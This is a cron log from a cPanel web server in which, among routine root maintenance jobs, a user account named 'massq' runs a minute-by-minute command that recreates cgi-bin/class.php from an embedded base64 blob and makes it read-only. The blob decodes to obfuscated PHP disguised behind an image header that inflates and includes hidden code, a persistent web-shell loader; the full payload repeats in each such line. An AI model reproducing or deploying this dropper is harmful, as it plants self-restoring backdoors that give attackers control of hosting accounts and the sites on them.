Sep  2 04:33:01 server CROND[5168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:34:01 server CROND[5651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:34:01 server CROND[5653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:34:01 server CROND[5654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:35:02 server CROND[6040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:35:02 server CROND[6042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:35:02 server CROND[6044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:35:02 server CROND[6047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:35:02 server CROND[6050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:35:02 server CROND[6045]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 04:35:02 server CROND[6046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:35:02 server CROND[6052]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:35:02 server CROND[6048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:36:01 server CROND[6870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:36:01 server CROND[6871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:36:01 server CROND[6872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:37:01 server CROND[7246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:37:01 server CROND[7247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:37:01 server CROND[7248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:38:01 server CROND[7613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:38:01 server CROND[7614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:38:01 server CROND[7615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:39:01 server CROND[8122]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 04:39:01 server CROND[8123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:39:01 server CROND[8124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:39:01 server CROND[8125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:40:01 server CROND[8516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:40:01 server CROND[8518]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:40:01 server CROND[8517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:40:01 server CROND[8524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:40:01 server CROND[8527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:40:01 server CROND[8545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:40:01 server CROND[8541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:40:01 server CROND[8542]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:41:01 server CROND[9357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:41:01 server CROND[9358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:41:01 server CROND[9359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:42:01 server CROND[9783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:42:01 server CROND[9784]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:42:01 server CROND[9785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:42:01 server CROND[9786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:43:01 server CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:43:01 server CROND[10173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:43:01 server CROND[10174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:44:01 server CROND[10542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:44:01 server CROND[10543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:44:01 server CROND[10541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
